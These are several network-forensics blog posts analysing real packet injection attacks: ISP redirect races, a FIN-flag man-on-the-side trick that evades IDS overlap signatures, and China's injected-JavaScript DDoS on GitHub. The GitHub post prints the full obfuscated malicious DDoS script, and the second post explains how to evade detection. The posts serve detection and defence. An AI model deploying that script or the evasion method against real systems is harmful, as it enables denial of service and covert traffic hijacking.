Packet Injection Attacks in the Wild

I have previously blogged about packet injection attacks, such as the Chinese DDoS of GitHub and Covert Man-on-the-Side Attacks. However, this time I've decided to share some intelligence on real-world packet injection attacks that have been running for several months and that are still active today.

Packet Injection by Network Operators

Gabi Nakibly, Jaime Schcolnik and Yossi Rubin recently released a very interesting research paper titled “Website-Targeted False Content Injection by Network Operators”, where they analyzed packet injection attacks in the wild. Here's a snippet from the paper's abstract:

It is known that some network operators inject false content into users’ network traffic. Yet all previous works that investigate this practice focus on edge ISPs (Internet Service Providers), namely, those that provide Internet access to end users. Edge ISPs that inject false content affect their customers only. However, in this work we show that not only edge ISPs may inject false content, but also core network operators. These operators can potentially alter the traffic of all Internet users who visit predetermined websites.

The researchers analyzed 1.4 petabits of HTTP traffic, captured at four different locations; three universities and one corporation. Some of their findings have been made available as anonymized PCAP files here:
http://www.cs.technion.ac.il/~gnakibly/TCPInjections/samples.zip

We have attempted to recreate these packet injections by visiting the same URLs again. Unfortunately most of our attempts didn't generate any injected responses, but we did manage to trigger injections for two of the groups listed by Nakibly et al. (“hao” and “GPWA”).

Redirect Race between hao.360.cn and hao123.com

We managed to get very reliable packet injections when visiting the website www.02995.com. We have decided to share one such PCAP file containing a packet injection attack here:
https://media.netresec.com/pcap/hao123-com_packet-injection.pcap

This is what it looks like when loading that PCAP file into CapLoader and doing a “Flow Transcript” on the first TCP session:

We can see in the screenshot above that the client requests http://www.02995.com/ and receives two different responses with the same sequence number (3820080905):

• The first response is a “302 Found”, forwarding the client to:
  http://www.hao123.com/?tn=93803173_s_hao_pg
• The second response is a “302 Moved Temporarily”, that attempts a redirect to:
  http://hao.360.cn/?src=lm&ls=n4a2f6f3a91

Judging from the IP Time-To-Live (TTL) values we assume that the first response (hao123.com) was an injected packet, while the second response (hao.360.cn) was coming from the real webserver for www.02995.com.

If you have an eye for details, then you might notice that the injected packet doesn't use the standard CR-LF (0x0d 0x0a) line breaks in the HTTP response. The injected packet only uses LF (0x0a) as line feed in the HTTP header.

Since the injected response arrived before the real response the client followed the injected redirect to www.hao123.com. This is what the browser showed after trying to load www.02995.com:

SSL encryption is an effective protection against packet injection attacks. So if the user instead enters https://www.02995.com then the browser follows the real redirect to hao.360.cn

id1.cn redirected to batit.aliyun.com

Prior to the release of Gabi's packet injection paper, the only publicly available PCAP file showing a real-world packet injection was this one:
https://github.com/fox-it/quantuminsert/blob/master/presentations/brocon2015/pcaps/id1.cn-inject.pcap

That PCAP file was released after Yun Zheng Hu (of Fox-IT) gave a presentation titled “Detecting Quantum Insert” at BroCon 2015. A video recording of Yun Zheng's talk is available online, including a live demo of the packet injection.

We have managed to re-trigger this packet injection attack as well, simply by visiting http://id1.cn. Doing so triggers two injected HTTP responses that attempts to do a redirect to http://batit.aliyun.com/alww.html. The target page of the injected responses has a message from the Alibaba Group (aliyun.com) saying that the page has been blocked.

We have decided to also share a PCAP file containing a packet injection attack for id1.cn here:
https://media.netresec.com/pcap/id1-cn_packet-injection.pcap

This is what it looks like when that PCAP file is loaded into NetworkMiner Professional, and the Browsers tab is opened in order to analyze the various HTTP redirections:

Image: Browsers tab in NetworkMiner Professional 2.0

Here's a short recap of what is happening in our shared PCAP file for id1.cn:

• Frame 13 : http://id1.cn is opened
• Frame 18 : Real server responds with an HTML refresh leading to http://id1.cn/rd.s/Btc5n4unOP4UrIfE?url=http://id1.cn/
• Frame 20 : The client also receives two injected packets trying to do a “403 Forbidden” that redirects to http://batit.aliyun.com/alww.html. However, these injected packets arrived too late.
• Frame 24 : The client proceeds by loading http://id1.cn/rd.s/Btc5n4unOP4UrIfE?url=http://id1.cn/
• Frame 25 : Two new injected responses are sent, this time successfully redirecting the client to the Alibaba page.
• Frame 28 : The real response arrives too late.
• Frame 43 : The client opens the Alibaba page with message about the site being blocked

Protecting against Packet Injection Attacks

The best way to protect against TCP packet injection attacks is to use SSL encryption. Relying on HTTP websites to do a redirect to an HTTPS url isn't enough, since that redirect could be targeted by packet injection. So make sure to actually type “https://” (or use a browser plug-in) in order to avoid being affected by injected TCP packets.

Referenced Capture Files

The following PCAP files have been referenced in this blog post:

• http://www.cs.technion.ac.il/~gnakibly/TCPInjections/samples.zip
• https://media.netresec.com/pcap/hao123-com_packet-injection.pcap
• https://github.com/fox-it/quantuminsert/blob/master/presentations/brocon2015/pcaps/id1.cn-inject.pcap
• https://media.netresec.com/pcap/id1-cn_packet-injection.pcap

For more PCAP files, please visit our list of publicly available PCAP files here: https://www.netresec.com/?page=PcapFiles

Posted by Erik Hjelmvik on Tuesday, 01 March 2016 13:37:00 (UTC/GMT)

Tags: #NetworkMiner​ #HTTP​ #browser​ #CapLoader​ #MOTS​ #HTTPS​ #TCP​ #PCAP​

Covert Man-on-the-Side Attacks

After Edward Snowden exposed NSA's Man-on-the-Side attack capabilities we've started to see IDS signatures that can detect such attacks being released and re-discovered. However, despite these efforts Man-on-the-Side attacks, such as QUANTUM INSERT, can still be carried out without triggering these IDS signatures.

I recently taught a network forensics class in Stockholm. One of the topics covered in this training was how to detect Man-on-the-Side attacks in full content PCAP files.

In one of the labs, in the network forensics training, students were tasked with finding a Man-on-the-Side attack in a 2.3 GB PCAP dataset. However, the way this MOTS attack was carried out made it invisible to normal signatures designed to detect TCP stream overlaps with different data, such as the Suricata signature 2210050.

alert tcp any any -> any any (msg:"SURICATA STREAM reassembly overlap with different data"; stream-event:reassembly_overlap_different_data; classtype:protocol-command-decode; sid:2210050; rev:2;)

The reason why Suricata and other methods fail to detect this attack is because the injected packet contained both application layer data (an HTTP redirect) and a TCP FIN flag. Upon receiving this spoofed packet the client (victim) followed the redirect as well as closed down its current TCP socket to the web server, by responding with a FIN+ACK packet. Subsequent packets sent by the real web server were then ignored by the client since the TCP socket was already closed when they arrived.

Stream reassembly engines in intrusion detection systems also ignore packets sent after the TCP tear-down, since the TCP session is assumed to be closed at this point. Overlapping TCP segments with different data are therefore not detected by intrusion detection systems when an injected TCP packet carries the FIN flag. I've created an example PCAP file, which illustrate this behavior, called mots-with-fin.pcap (this is not the MOTS attack analyzed in my training). Here's what the PCAP file looks like when analyzed with Tshark:

tshark -r mots-with-fin.pcap -T fields -e ip.src -e ip.dst -e ip.ttl -e tcp.seq -e tcp.flags -e http.response.code -e http.response.phrase
10.0.1.4       91.225.248.129 64 189665416  0x0002
91.225.248.129 10.0.1.4       54 4114717473 0x0012
10.0.1.4       91.225.248.129 64 189665417  0x0010
10.0.1.4       91.225.248.129 64 189665417  0x0018
91.225.248.129 10.0.1.4       64 4114717474 0x0019 302 Found <--INJECTED
10.0.1.4       91.225.248.129 64 189665756  0x0010
91.225.248.129 10.0.1.4       54 4114717474 0x0010
10.0.1.4       91.225.248.129 64 189665756  0x0011
91.225.248.129 10.0.1.4       54 4114717474 0x0018 301 Moved Permanently

Detecting MOTS Attacks

Martin Bruse was one of the guys taking the network forensics class last week. After realizing that there currently doesn't seem to exist any effective method for automatically detecting TCP segment overlaps with different data, regardless of the TCP state, Martin developed a tool called qisniff. This is what it looks like when mots-with-fin.pcap is analyzed with qisniff:

go run qisniff.go -file mots_with_fin.pcap
-
91.225.248.129:80(http)->10.0.1.4:54015 4114717474
<A>
HTTP/1.1 302 Found
Location: //www.netresec.com
Content-Length: 0


</A>
<B>
HTTP/1.1 301 Moved Permanently
Date: Tue, 21 Apr 2015 00:40:01 GMT
X-
</B>

In the output above we can see the injected content <A> and the legitimate content from the real web server <B>. What qisniff does is basically reassembling streams and comparing the application layer data in new TCP segments with that in previously received segments. This is a very generic way of detecting any form of packet injection in a TCP stream, regardless if it is done as part of a Quantum Insert attack, an Airpwn injection or some brand new packet injection attack.

Martin's qisniff tool is open sourced under a GPLv2 license and is available on GitHub here: https://github.com/zond/qisniff

To run qisniff you need to have Go 1.5 installed as well as gopacket.

Credits

We would like to thank Fox-IT for publishing their great blog post Deep dive into QUANTUM INSERT, in which they shed some light on many technical details of Man-on-the-Sida attacks as well as published IDS signatures designed to detect such attacks.

UPDATE 2016-02-02

David Stainton has updated his HoneyBadger tool, which is specifically designed detect TCP injection attacks, so that it now also detects injected TCP packets with the FIN flag set. The update was released on January 31, in update 1457755.

UPDATE 2016-10-25

I have now released my own tool called "findject", which is a simple python script that can detect packet injection attacks like QUANTUM INSERT. You can read more about how to detect this type of attacks with findject in my blog post "Detect TCP content injection attacks with findject".

Posted by Erik Hjelmvik on Monday, 21 September 2015 08:23:00 (UTC/GMT)

Tags: #MOTS​ #PCAP​ #TCP​ #Suricata​ #stream​

China's Man-on-the-Side Attack on GitHub

On March 27 The following message was posted on the official GitHub blog:

We are currently experiencing the largest DDoS (distributed denial of service) attack in github.com's history. The attack began around 2AM UTC on Thursday, March 26, and involves a wide combination of attack vectors. These include every vector we've seen in previous attacks as well as some sophisticated new techniques that use the web browsers of unsuspecting, uninvolved people to flood github.com with high levels of traffic. Based on reports we've received, we believe the intent of this attack is to convince us to remove a specific class of content.

We have looked closer at this attack and can conclude that China is using their active and passive network infrastructure in order to perform a packet injection attack, known as a man-on-the-side attack against GitHub. See our "TTL analysis" at the end of this blog post to see how we know this is a Man-on-the-side attack.

In short, this is how this Man-on-the-Side attack is carried out:

1. An innocent user is browsing the internet from outside China.
2. One website the user visits loads a JavaScript from a server in China, for example the Badiu Analytics script that often is used by web admins to track visitor statistics (much like Google Analytics).
3. The web browser's request for the Baidu JavaScript is detected by the Chinese passive infrastructure as it enters China.
4. A fake response is sent out (3 packets injected) from within China instead of the actual Baidu Analytics script. This fake response is a malicious JavaScript that tells the user's browser to continuously reload two specific pages on GitHub.com.

However, not all users loading JavaScripts from inside China are attacked in this way. Our analysis shows that only about 1% of the requests for the Baidu Analytics script are receiving the malicious JavaScript as response. So in 99% of the cases everything behaves just like normal.

We managed to get a browser to load the malicious JavaScript simply by browsing a few Chinese websites. After the JavaScript loaded we observed the following behavior in our network traffic: Image: CapLoader Gantt chart of traffic generated by the malicious JavaScript

The script got our browser to connect to github.com (IP address 192.30.252.[128-131]) in an infinite loop.

Baidu Analytics

The Baidu Analytics script can be loaded from URLs like:
http://hm.baidu.com/h.js?0deadbeef000deadbeef000deadbeef0 (normal version)
http://hm.baidu.com/hm.js?0deadbeef000deadbeef000deadbeef0 (asynchronous version)

The proper JavaScript received when requesting such an URL should look like this: Image: CapLoader flow transcript of the Baidu Analytics script

The injected response with the malicious JavaScript looks like this: Image: CapLoader flow transcript of the malicious JavaScript

The injected response is actually exactly the same every time, consisting of three TCP packets with the following payload:

Injected packet #1:

HTTP/1.1 200 OK
Server: Apache
Connection: close
Content-Type: text/javascript
Content-Length: 1130

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?\'\':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!\'\'.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return\'\\\\w+\'};c=1};while(c--)if(k[c])p=p.replace(new RegExp(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);return p}(\'l.k("<5 p=\\\'r://H.B.9/8/2.0.0/8.C.t\\\'>\\\\h/5>");!J.K&&l.k("<5 p=\\\'r://L.8.9/8-T.t\\\'>\\\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E","m://n.9/F-G"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);\',62,64,\'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeou

t|1E4|cache|beforeSend|latest|complete|return|Math|floor|3E5|UTC|getFullYear|getHours'.split('|'),0,{}))

The malicious JavaScript is somewhat obfuscated, but some simple deobfuscation leaves us with the following code:

As can be seen in the code, the two targeted URLs are github.com/greatfire and github.com/cn-nytimes, which are mirror sites for GreatFire.org and the Chinese New York Times. GreatFire and NYT both use GitHub to circumvent the online censorship performed by the Great Firewall of China (GFW).

TTL Analysis

Time-To-Live (TTL) analysis is a powerful method that can be used in order to analyze Man-in-the-Middle as well as Man-on-the-Side attacks. We've used this method before when analyzing the Chinese MITM attacks on iCloud, Yahoo, Google and GitHub.

What is interesting with this new attack on GitHub is that the attackers are now trying to make it difficult to locate the injection point of the malicious JavaScript by modifying the IP TTL values of injected packets.

The following Tshark output prints Source-IP, Destination-IP, TCP-Flags and IP-TTL in four columns (comments in yellow):

tshark -r baidu-high-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl
192.168.70.160 61.135.185.140 0x0002 64 <- SYN (client)
61.135.185.140 192.168.70.160 0x0012 42 <- SYN+ACK (server)
192.168.70.160 61.135.185.140 0x0010 64 <- ACK (client)
192.168.70.160 61.135.185.140 0x0018 64 <- HTTP GET (client)
61.135.185.140 192.168.70.160 0x0018 227 <- Injected packet 1 (injector)
192.168.70.160 61.135.185.140 0x0010 64
61.135.185.140 192.168.70.160 0x0018 228 <- Injected packet 2 (injector)
61.135.185.140 192.168.70.160 0x0019 229 <- Injected packet 3 (injector)
192.168.70.160 61.135.185.140 0x0010 64
192.168.70.160 61.135.185.140 0x0011 64

Notice how the TTL of the SYN+ACK packet from the server is 42, while the three injected packets with payload have TTL values of 227, 228 and 229?

Here is another PCAP file where injected packets have low TTL values:

tshark -r baidu-low-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl
192.168.70.160 61.135.185.140 0x0002 64 <- SYN (client)
61.135.185.140 192.168.70.160 0x0012 42 <- SYN+ACK (server)
192.168.70.160 61.135.185.140 0x0010 64 <- ACK (client)
192.168.70.160 61.135.185.140 0x0018 64 <- HTTP GET (client)
61.135.185.140 192.168.70.160 0x0018 30 <- Injected packet 1 (injector)
192.168.70.160 61.135.185.140 0x0010 64
61.135.185.140 192.168.70.160 0x0018 31 <- Injected packet 2 (injector)
61.135.185.140 192.168.70.160 0x0019 32 <- Injected packet 3 (injector)
192.168.70.160 61.135.185.140 0x0010 64
192.168.70.160 61.135.185.140 0x0011 64

The server's SYN+ACK packet stays at an IP TTL of 42 pretty much throughout our whole analysis, but the TTL of packets carrying the malicious payload varied between 30 and 229. This behavior implies that the SYN+ACK packet we are seeing is coming from the actual Baidu server, while the packets carrying the malicious payload are injected somewhere else.

As we've mentioned before the three injected packets are always carrying identical payloads and the only thing that changes in between sessions is basically the target TCP port. This further strengthens our assumption that these three packets are being injected. We even tried dropping one of the injected packets and thereby requesting a retransmission of that packet from the server, but we got nothing back. This too is a typical artifact showing that the malicious JavaScript has been delivered through injected packets as part of a Man-on-the-Side attack as opposed to coming from the actual Baidu server.

Additional Sources for the Malicious JS

The Baidu Analytics is not the only script that has been replaced with a malicious one. Users have also reported JavaScript replacements of Baidu Ads as well as several other services. In GreatFire.org's technical analysis of the DDoS attack against them they mention that they have seen JavaScripts being replaced for URLs like:

• hm.baidu.com/h.js
• cbjs.baidu.com/js/o.js
• dup.baidustatic.com/tpl/wh.js
• dup.baidustatic.com/tpl/ac.js
• dup.baidustatic.com/painter/clb/fixed7o.js
• dup.baidustatic.com/painter/clb/fixed7o.js
• eclick.baidu.com/fp.htm?br= ...
• pos.baidu.com/acom?adn= ...
• cpro.baidu.com/cpro/ui/uijs.php?tu=...
• pos.baidu.com/sync_pos.htm?cproid=...

These domains are all owned by Baidu, but technically any JavaScript from any site in China could have been exploited to perform this sort of packet injection attack.

Conclusions

This attack demonstrates how the vast passive and active network filtering infrastructure in China, known as the Great Firewall of China or "GFW", can be used in order to perform powerful DDoS attacks. Hence, the GFW cannot be considered just a technology for inspecting and censoring the Internet traffic of Chinese citizens, but also a platform for conducting DDoS attacks against targets world wide with help of innocent users visiting Chinese websites.

UPDATE - April 2'nd

Robert Graham of Errata Security has now verified our conclusion, that the attack is coming from China, by performing an "http-traceroute". Robert writes:

Using my custom http-traceroute, I've proven that the man-in-the-middle machine attacking GitHub is located on or near the Great Firewall of China. While many explanations are possible, such as hackers breaking into these machines, the overwhelmingly most likely suspect for the source of the GitHub attacks is the Chinese government.

UPDATE - April 13'th

Bill Marczak, Nicholas Weaver, Jakub Dalek, Roya Ensafi, David Fifield, Sarah McKune, Arn Rey, John Scott-Railton, Ronald Deibert and Vern Paxson have published their research about this new cyber weapon, which they have dubbed the "Great Cannon" (GC). In their blog post they confirm our findings regarding odd TTL values in the injected packets:

The packets injected by the [Great Cannon] also have the same peculiar TTL side-channel as those injected by the GFW, suggesting that both the GFW and the GC likely share some common code.

For more details on the TTL side-channel of the GFW, please read the Usenix FOCI '14 paper Towards a Comprehensive Picture of the Great Firewall’s DNS Censorship.

Even though the authors of the "Great Cannon" blog post claim that GC is not part of GFW they still confirm that they are co-located:

[T]he shared source code and co-location between the GFW and GC suggest that the GC could have been developed within the same institutional framework as the GFW.

They also traced the path to the GFW and GC:

For 115.239.210.141, the GFW and the GC both exist between hop 12 and 13, on the link between 144.232.12.211 and 202.97.33.37, as the traffic enters China Telecom. For 123.125.65.120, the GFW and GC both exist between hop 17 and 18, on the link between 219.158.101.61 and 219.158.101.49, belonging to China Unicom.

This confirms that the GC is located within the same ASN's as where we've previously seen the GFW perform SSL MITM attacks, which is in AS4134 (China Telecom) and AS4837 (China Unicom).

They also published several PCAP files, where they interact with the GFW and GC:

• gfc_test.tcpdump
• falun_traceroute.tcpdump
• eureka.tcpdump (interesting capture file, with injected packets and packets from Baidu in the same TCP session)
• both_sidechannel.tcpdump.gz
• injector_traceroute.tcpdump
• twopaths.tcpdump.gz
• next_ip.tcpdump
• stateless_and_cache.tcpdump.gz
• cache_expire.tcpdump.gz
• multisender-bigblast.tcpdump.gz
• multi_ip_blowout.tcpdump.gz

UPDATE - April 25'th

Niels Provos at Google posted an interesting report about the DDoS called A Javascript-based DDoS Attack as seen by Safe Browsing. In the report he shows that the packet injection rate wasn't fixed at 1 percent, it actually reached 17.5 percent for a few days when greatfire.org was being attacked.

Niels also provided additional details regarding the domains that were spoofed by the GFW to deliver the malicious javascript throug packet injection:

• cbjs.baidu.com (123.125.65.120)
• eclick.baidu.com (123.125.115.164)
• hm.baidu.com (61.135.185.140)
• pos.baidu.com (115.239.210.141)
• cpro.baidu.com (115.239.211.17)
• bdimg.share.baidu.com (211.90.25.48)
• pan.baidu.com (180.149.132.99)
• wapbaike.baidu.com (123.125.114.15)

If you would like to learn how to detect and analyze man-on-the-side attacks, then we recommend that you sign up for our two-day Network Forensics Class.

Posted by Erik Hjelmvik on Tuesday, 31 March 2015 01:15:00 (UTC/GMT)

Tags: #GFW​ #GitHub​ #China​ #packet injection​ #MOTS​ #MITM​ #Netresec​ #PCAP​ #AS4134​ #AS4837​